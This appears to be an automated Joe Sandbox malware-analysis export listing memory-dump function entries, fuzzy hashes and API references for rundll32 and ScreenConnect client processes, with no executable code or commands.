Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe240c05ed4ad3deb219d9bac8c73905ef54a36578b89c158e82593b71380c16
Instruction ID: 869bdb781e5c42e8a08a7a5ae1087f9db336f915ce81bcaf4eaa46dcc1496474
Opcode Fuzzy Hash: fe240c05ed4ad3deb219d9bac8c73905ef54a36578b89c158e82593b71380c16
Instruction Fuzzy Hash: 25018E32B101189BDF588BA9D8102EEB7F6AF8C215F14807AC409B7754DB399A45CBB5

Function 06991378 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 807e3de00fdc5e0e894179ce24fa4278da7a77b7ff8eb7e7008305b847e719d7
Instruction ID: d92360f3a3f1d2e027aad9ae30493ff013620f81e32d194e1f785268614ee174
Opcode Fuzzy Hash: 807e3de00fdc5e0e894179ce24fa4278da7a77b7ff8eb7e7008305b847e719d7
Instruction Fuzzy Hash: AA2127B1D042498FDB10DFAAC485ADEFBF0FF48324F108429D85967210C7746945CFA5

Function 06998038 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34d48b2849aa5de6f000750c4f3bdd2f98465a0499e5bb65eebfd847ade74db9
Instruction ID: 5a435f02857b4fd35a82f4b0e5d8c9e01e2ee84fda36d7e70d488289d0d7b5a0
Opcode Fuzzy Hash: 34d48b2849aa5de6f000750c4f3bdd2f98465a0499e5bb65eebfd847ade74db9
Instruction Fuzzy Hash: 84018F7A7101109F8B44DA6DF49186EB7AAFBC9265324847BF609C7310CE72EC0797A4

Function 06991380 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b58376194b25ac5630de7a0380c4cdaeeaa3576aa1991150dfdcd41b92a0023a
Instruction ID: 3010227db13e56a9e3e22aa595070c7041a97eceeb5d9143310e1a9eba98eb7c
Opcode Fuzzy Hash: b58376194b25ac5630de7a0380c4cdaeeaa3576aa1991150dfdcd41b92a0023a
Instruction Fuzzy Hash: AD1106B1D042498FDB10DFAAC885AEEFBF4FF48324F108429D85967254C7746945CFA5

Function 06990F40 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ae2a6cf19ad8d505c5868d72542b6f7552f69f3feb9c9998db630f8140e374d
Instruction ID: 210fb2a91eae7037853369fa58d85e077bc0ef1182055989efd61817f717750f
Opcode Fuzzy Hash: 1ae2a6cf19ad8d505c5868d72542b6f7552f69f3feb9c9998db630f8140e374d
Instruction Fuzzy Hash: AA01473028430D9FEB45A768D86177A7BE4FB40300F240C9AE549DFAC1CE25DC81C762

Function 06996A1F Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55656f38bc45de09dc796981a25c02aacdee4d2c74dfb6924b0028498f91cf17
Instruction ID: 9a36e8e2a130e7493ecd9c19422efc09f101ba3301c954ac7a9d7020a54acec3
Opcode Fuzzy Hash: 55656f38bc45de09dc796981a25c02aacdee4d2c74dfb6924b0028498f91cf17
Instruction Fuzzy Hash: 6901AD3060110497EF98EEAE88547EE7AE7AFC8220F208469D415AB794CF754D0287E0

Function 06991968 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a664e3534f5ed8e6f1bb9e64b880c381ddb1669098a0b62b605faf1bad1768
Instruction ID: 74664fe6637c5927a45f60ded5ae84328c37ba80a70cfd58d8230e1e8f5be22a
Opcode Fuzzy Hash: 01a664e3534f5ed8e6f1bb9e64b880c381ddb1669098a0b62b605faf1bad1768
Instruction Fuzzy Hash: 8A113D31A01219EFCB04DF64E458AA97BB6FF8C320F14501DE40AA7390DF799C49EBA0

Function 0699182A Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31145716cfdbaaf599c748bf84d2c83250644aba0df51a1d61ff77b3482d49e2
Instruction ID: 741c2a1d502c03cee98fb98b150db8d404bdde9a14ddf0960d24bb2032a34302
Opcode Fuzzy Hash: 31145716cfdbaaf599c748bf84d2c83250644aba0df51a1d61ff77b3482d49e2
Instruction Fuzzy Hash: FA01F231A0010697EB58EAAD98557FF7AEBABC8200F24002DD022F3B80CE764C0197F1

Function 06996B0C Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64c0fb7a637d0ad5c6538c2903fe69ead5e0dce42fb701335ccd12a1ec37e308
Instruction ID: 7047966eba1b2ac32136496cb92e7fdd9fca159ea9635445d65c8e526a48ff8b
Opcode Fuzzy Hash: 64c0fb7a637d0ad5c6538c2903fe69ead5e0dce42fb701335ccd12a1ec37e308
Instruction Fuzzy Hash: 86F07832F082204BFFC557AC6C107BD6762EBC1304F04842AE1199BFE0EA269443C3A0

Function 06991440 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5980163e5f3071525c7e708e3a7c9bc17542e4993eed9771831da4ca9098aac
Instruction ID: 46ec2d64e058753bdb203bacd9cdb5ba90bbe52a208025309f8f15adfb376ef6
Opcode Fuzzy Hash: a5980163e5f3071525c7e708e3a7c9bc17542e4993eed9771831da4ca9098aac
Instruction Fuzzy Hash: E301D430B0630A9FCB4A9F7C64756263F99FF8550470518BEC549CF661FD14C80ACBA2

Function 0419D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2571717483.000000000419D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0419D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_419d000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bdfc907541cade6decf134c67c598592c9d69fb2bf0d2ac0113efc280bf2083
Instruction ID: 95d07d6b077bcb0c4e138ddf5e285021bdbb25c6c0a55568a2517603cf58979f
Opcode Fuzzy Hash: 3bdfc907541cade6decf134c67c598592c9d69fb2bf0d2ac0113efc280bf2083
Instruction Fuzzy Hash: 5401DF31108340AAEB108E29FDC4B67FFD8EF41324F1CC56AEC080A246D779AC41CAB2

Function 06996A30 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1b8c7c27d727d3d7e9eb1f926a6eeaf3e0c8fb68874ebc4ed800e1b7545320e
Instruction ID: 01b770e8dff3b9cfdd0670fa4df15a87c38255de5f164cf417afa41acc6e5597
Opcode Fuzzy Hash: d1b8c7c27d727d3d7e9eb1f926a6eeaf3e0c8fb68874ebc4ed800e1b7545320e
Instruction Fuzzy Hash: A3017131B0021487EF98EA6E88547AF7AE69BC8210F24842DD415A7794CE755D05C7E1

Function 0419D007 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2571717483.000000000419D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0419D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_419d000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72d8a78e14cbaf4e3ea4f900a0f201a6efd52aee3f135e4433eb0541413fb6d1
Instruction ID: e8efddb2e73b1a88144bc85f829f5d5ff3db086e19c9e27d7211a80c15ea6f5e
Opcode Fuzzy Hash: 72d8a78e14cbaf4e3ea4f900a0f201a6efd52aee3f135e4433eb0541413fb6d1
Instruction Fuzzy Hash: 5101526100E3C05FD7124B259D94B52BFB4DF53224F1DC5CBD8888F197C2695845C772

Function 06997FB0 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479dfa69f69c9215c9179e5f7aaa189b1e0841be2aa2079d50c513c0ddc2d826
Instruction ID: 34f1b769becd6181391157c2b63a84204ecc0eaef75497869dfccc2a5e4c4183
Opcode Fuzzy Hash: 479dfa69f69c9215c9179e5f7aaa189b1e0841be2aa2079d50c513c0ddc2d826
Instruction Fuzzy Hash: 8CF0C2313112101BDB129A6EECA09DBBF9AEFC6610304846AF54ACB651DF619C0A8BE1

Function 06997FC0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0846e399636a9c3f47425a31836872a58c486fc1aef827ec7523821add494a4d
Instruction ID: 4170cfcc3236a406f52178cf62a74ce5616f77e0a6d6af9f6cb6fa673a078682
Opcode Fuzzy Hash: 0846e399636a9c3f47425a31836872a58c486fc1aef827ec7523821add494a4d
Instruction Fuzzy Hash: B5F082317502105B9B61A65EED9189BBFDAEFC9620314843AF51ACB700DF61EC0A4BE1

Function 06992EFA Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a2f13af76697ebe0fbc22118a7dbf66043163ff3987bcef18a30a448000127b
Instruction ID: acfd583b2459b6ea40662e21b48a5325ad157efb89a55b396923c80499636a13
Opcode Fuzzy Hash: 3a2f13af76697ebe0fbc22118a7dbf66043163ff3987bcef18a30a448000127b
Instruction Fuzzy Hash: BAE0E510A3475427EFEE232E4C403A72D9D0B96618F1000ABE486CAF93D5C4DA0523B3

Function 06991431 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c43806988ce653effdaca4efc1a215571cf18506baa4de2721bb8fb5bb4d7adf
Instruction ID: 2eccf1e3495f98d37953770704bade3f4caf7205e092547cd11695c4983f1e3c
Opcode Fuzzy Hash: c43806988ce653effdaca4efc1a215571cf18506baa4de2721bb8fb5bb4d7adf
Instruction Fuzzy Hash: 15F09634B4110A9ECB4D9F7C61656253FDAFFC4504705186D814A9F261FD24C84ADBD2

Function 06995278 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 208f4a4ea2c1fdce21126bc3d60a9ebea897e3acf53295b6d04e857eb9413728
Instruction ID: 17139e5f3a3658a207fc21f0ad14868d2cdd562778b05a3b75064ac187b5318f
Opcode Fuzzy Hash: 208f4a4ea2c1fdce21126bc3d60a9ebea897e3acf53295b6d04e857eb9413728
Instruction Fuzzy Hash: 16F0553A7092805FD3028A78D850A87BFB69FCB328F1540BBE148CB257C9314806D760

Function 06995288 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ed7e4940c9ec954dc8f0beafadd646b128e7cbe482e9b9f020a80252353380b
Instruction ID: 2b6b429d54539ae02deb4232d9163387008ffc6d8c1df9ab7b64d9a8bfb42057
Opcode Fuzzy Hash: 8ed7e4940c9ec954dc8f0beafadd646b128e7cbe482e9b9f020a80252353380b
Instruction Fuzzy Hash: 30E07D327002045BD304992AE890917F7AEDFCE228F10847FE40CC3345CD32AC06C690

Function 06997F3F Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 073a87f9dc91d5baa1779c36f60a6894cf25b57ddcd5cc7404fbb54319a20737
Instruction ID: 122ff2cfbe02ef05beea1036c476d6807f859a3b8ce8812cb6b89c1da95ec07b
Opcode Fuzzy Hash: 073a87f9dc91d5baa1779c36f60a6894cf25b57ddcd5cc7404fbb54319a20737
Instruction Fuzzy Hash: F1E0923050A348BFCB01DB78DC5198EBFF5DA0621070446D9E409D7292EB30AF048B91

Function 06992F80 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc370a4b92e630d991feec1f93425271bd5e6d01cfdddeb8dd2c7c682d22f837
Instruction ID: b9f917c1d962b5ffc4ae131872b11e3323bed53b8b03df58c50b0cbbe34c6461
Opcode Fuzzy Hash: dc370a4b92e630d991feec1f93425271bd5e6d01cfdddeb8dd2c7c682d22f837
Instruction Fuzzy Hash: 9AD0171AA2A2656BCE4613B828142A66F5CCB4A428F254896E91DDB603D8688E0563E9

Function 069917F0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45ed1e8c474e052a7caf28f4359f4d0ea64be6c6e29ca3e830244755f4062be8
Instruction ID: f1ab662bb033646d1ef78b2bb65876ad2e2d86cb775987549aa92463ff3752be
Opcode Fuzzy Hash: 45ed1e8c474e052a7caf28f4359f4d0ea64be6c6e29ca3e830244755f4062be8
Instruction Fuzzy Hash: 11E02B3320D2505FC7066B10A8518D57FB9DB5A12130500A7F850C7A61ED660E56D3E0

Function 06992958 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c98a94b022d56501c1c5637e36fbb44cb55f209c2b227e210dc7b59f82c1614e
Instruction ID: 388fafcc3812f42cc6c06efbcd5cd87b155d3eb1d44dfc599122aeb415acb5fc
Opcode Fuzzy Hash: c98a94b022d56501c1c5637e36fbb44cb55f209c2b227e210dc7b59f82c1614e
Instruction Fuzzy Hash: 6FE04871D15248FFCB41DB64ED4255D7FB9DB1520070040E9D809D7651EA315E0597A6

Function 06990C0C Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2057b756158e5da723da729a065e7c9bea99be463182c737e3d58511d84279a2
Instruction ID: 4bb5e17a008bf1db3d1a1c44f57aa4b95d873602a50762287bb8670c0b3b9e58
Opcode Fuzzy Hash: 2057b756158e5da723da729a065e7c9bea99be463182c737e3d58511d84279a2
Instruction Fuzzy Hash: 2BD0A73232001C6B9E44761DD88586ABB99F7853613504437F90293634ED60AC8493E5

Function 06991C29 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a20545da5d51ee8c8b51b626cf1caf039d5206175f477ab3ba49354807f0b91
Instruction ID: 4c7c125e03db42df6a6dba1f70025fd337ff3a40be4be96082c757866f107fb9
Opcode Fuzzy Hash: 5a20545da5d51ee8c8b51b626cf1caf039d5206175f477ab3ba49354807f0b91
Instruction Fuzzy Hash: C9D02257B0B2A23E8F86507C2E200964B080FDBA11B1209FBD43CCBD42D0168C08C3F2

Function 06992968 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ceb7007db51dbd58bd91506e87c92a13467782f19e067b905c2574dcdb4ec36f
Instruction ID: b86c294d3e5bafb21833a98b77e1ca58845873861f23514377eb17a78b37f8a7
Opcode Fuzzy Hash: ceb7007db51dbd58bd91506e87c92a13467782f19e067b905c2574dcdb4ec36f
Instruction Fuzzy Hash: 88D0127090110CFF8B40EFA4E94155DBBB5DB44204B1045A9D809D3240EA316E049794

Function 06997F50 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78d830a2ea5d65ef0e043fd6ef66688fb70720efcfb3a52a5991fde734ae59db
Instruction ID: f7d198d88f9490729856e9365cab4d57e383849296005817e18490174c4cade8
Opcode Fuzzy Hash: 78d830a2ea5d65ef0e043fd6ef66688fb70720efcfb3a52a5991fde734ae59db
Instruction Fuzzy Hash: 72D01730A0120CFF8F40EFA8E94295DBBF9EB48204B1041A9E80AD3200EF316F059B81

Function 06990F50 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8a8e5025c4b249e02a081351628fed7aac4de1db76906a195f74f42cc277c18
Instruction ID: bf732027bc0bfd391cc4be8c1c527a9280a10bb805e284649262ebec239d76c9
Opcode Fuzzy Hash: f8a8e5025c4b249e02a081351628fed7aac4de1db76906a195f74f42cc277c18
Instruction Fuzzy Hash: B8C08C21A9020E8EEEC0376E661833A718CBB81608F101C3C680EE5804EC28E84011A8

Function 06990440 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37f3a65fa2d2ad0071a77fa96dfe726ff58bec272f28396aea3b41413e488d7a
Instruction ID: 420f8624cfd032ad036eb0581cb35b713f90c3e5f01e1616e5cd2f121dd051b7
Opcode Fuzzy Hash: 37f3a65fa2d2ad0071a77fa96dfe726ff58bec272f28396aea3b41413e488d7a
Instruction Fuzzy Hash: DAC08CB2E946008FC2049E8800846EE23A2FB30232B8480BEC8050A020763A60A7E430

Function 06990E7C Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.2570376435.0000000006990000.00000040.00000800.00020000.00000000.sdmp, Offset: 06990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_6990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aee7131ed8fe64448b8a147566fadfb714c49b3060114312e453a8c012af3ab
Instruction ID: 4fac70880a1e74c5b8c74bf457a813ffda12f6821609bb7cdb173e2a33d6d361
Opcode Fuzzy Hash: 4aee7131ed8fe64448b8a147566fadfb714c49b3060114312e453a8c012af3ab
Instruction Fuzzy Hash: 46B0125A544001267E80F73D4CD047690D3B7C1204BC0CC181016F041C4C14D4002028

Analysis Process: ScreenConnect.ClientService.exePID: 792, Parent PID: 620COMMON

Execution Graph

Execution Coverage:	13.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.3%
Total number of Nodes:	462
Total number of Limit Nodes:	28

Executed Functions

Function 051613C0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 169
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateNamedPipeW.KERNEL32(00000000,?,?,?,?,?,00000001,00000004), ref: 05161584

Strings

d/dq, xrefs: 0516140D
4L^q, xrefs: 05161532

Memory Dump Source

Source File: 00000013.00000002.3020530895.0000000005160000.00000040.00000800.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5160000_ScreenConnect.jbxd

Similarity

API ID: CreateNamedPipe
String ID: 4L^q$d/dq
API String ID: 2489174969-3455392024
Opcode ID: 394f1a057a3e6a8a10508a7f1ca0424fff62c9259ccb22d4722ad25074b29b9a
Instruction ID: 5b7cab4b55b5789a0084e03ea2276c5525a8bdc444d50e3ec2bcd58cbae9d5da
Opcode Fuzzy Hash: 394f1a057a3e6a8a10508a7f1ca0424fff62c9259ccb22d4722ad25074b29b9a
Instruction Fuzzy Hash: B761B071A003099FDB10DFA9D844BAEBBF6BF88310F14C06AE919EB291D7759905CB61

Function 017D4C67 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlGetVersion.NTDLL(0000009C), ref: 017D4DBE

Strings

`Q^q, xrefs: 017D4C86
`Q^q, xrefs: 017D4DEB

Memory Dump Source

Source File: 00000013.00000002.2974489443.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_17d0000_ScreenConnect.jbxd

Similarity

API ID: Version
String ID: `Q^q$`Q^q
API String ID: 1889659487-4048626156
Opcode ID: a2afae6f30acb3d668d9ff6ae577e94ae0e071217d12eb576cc61e10ecacfd57
Instruction ID: f437578f318f19e072acbba7618208965b865dc4c364e3b63c3411c401d59818
Opcode Fuzzy Hash: a2afae6f30acb3d668d9ff6ae577e94ae0e071217d12eb576cc61e10ecacfd57
Instruction Fuzzy Hash: D341A071E002199FDB64DF68D808BAEBFB5FB45310F0085EAD60DA7280DB745A94CF92

Function 04FE7CB0 Relevance: 2.7, Strings: 1, Instructions: 1496COMMON

Download Yara Rule

Strings

`Q^q, xrefs: 04FE8BCA

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: `Q^q
API String ID: 0-1948671464
Opcode ID: e45e41838ade7d7c2ad89370c1dbce08ee0d1c025dc4ff5faa4419398056c8e7
Instruction ID: 399d7881e0e5db235fb3535dc7d215ba6a02530160d18562ca02ae5f0db21c51
Opcode Fuzzy Hash: e45e41838ade7d7c2ad89370c1dbce08ee0d1c025dc4ff5faa4419398056c8e7
Instruction Fuzzy Hash: 3FE24C70E00219CFDB65EF29C944AA9B7F6FF89305F10859AD509AB250DB71EE86CF40

Function 04FEA0F8 Relevance: 2.4, Strings: 1, Instructions: 1184COMMON

Download Yara Rule

Strings

,, xrefs: 04FEB744

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 9a642a48f07ad726b199e833feb57bbac433bd7322c2255585a1d86d7eb93fd1
Instruction ID: 53ed1d3cf603ba5007d21c1f839dbb7bdd9ebba82c8c8c8c475b40771f13af02
Opcode Fuzzy Hash: 9a642a48f07ad726b199e833feb57bbac433bd7322c2255585a1d86d7eb93fd1
Instruction Fuzzy Hash: ECB24C70E002198FDB64DF65C884BAEB7F6BF88305F1085A9D509AB350EB74AD86CF51

Function 05160040 Relevance: 1.6, APIs: 1, Instructions: 93processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserW.KERNEL32(?,00000000,00000000,?,?,?,?,?,00000000,?,?), ref: 0516010F

Memory Dump Source

Source File: 00000013.00000002.3020530895.0000000005160000.00000040.00000800.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5160000_ScreenConnect.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: c4d1a8bf6d3d7c9b4e1da9c004cbad315375281f3bafef1e9176ccf60ca49130
Instruction ID: feb9ce0a5b61dd6b14a24113845c395bcb878d5f467816cfc1ab5efbb01a0287
Opcode Fuzzy Hash: c4d1a8bf6d3d7c9b4e1da9c004cbad315375281f3bafef1e9176ccf60ca49130
Instruction Fuzzy Hash: 9F411276900209EFCF10CFA9C884ADEBBF6FF48310F15852AE958A7250D775A965CF90

Function 03E21630 Relevance: 1.6, APIs: 1, Instructions: 66encryptionCOMMON

Download Yara Rule

APIs

CryptProtectData.CRYPT32(?,00000000,?,?,?,?,?), ref: 03E216AE

Memory Dump Source

Source File: 00000013.00000002.3010293289.0000000003E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 03E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3e20000_ScreenConnect.jbxd

Similarity

API ID: CryptDataProtect
String ID:
API String ID: 3091777813-0
Opcode ID: 90d5e46823d08af5e66bef065fe26ef776e8778acba99f6243ed0682855881f2
Instruction ID: a4a486fcc35ef3ab321f08a054f70e310f1ffcca30458221c775099ab9464837
Opcode Fuzzy Hash: 90d5e46823d08af5e66bef065fe26ef776e8778acba99f6243ed0682855881f2
Instruction Fuzzy Hash: 952134B6800219DFCB20CF9AC844ADEBFF1FB88310F188529E914A7210D339A655CFA0

Function 03E21638 Relevance: 1.6, APIs: 1, Instructions: 61encryptionCOMMON

Download Yara Rule

APIs

CryptProtectData.CRYPT32(?,00000000,?,?,?,?,?), ref: 03E216AE

Memory Dump Source

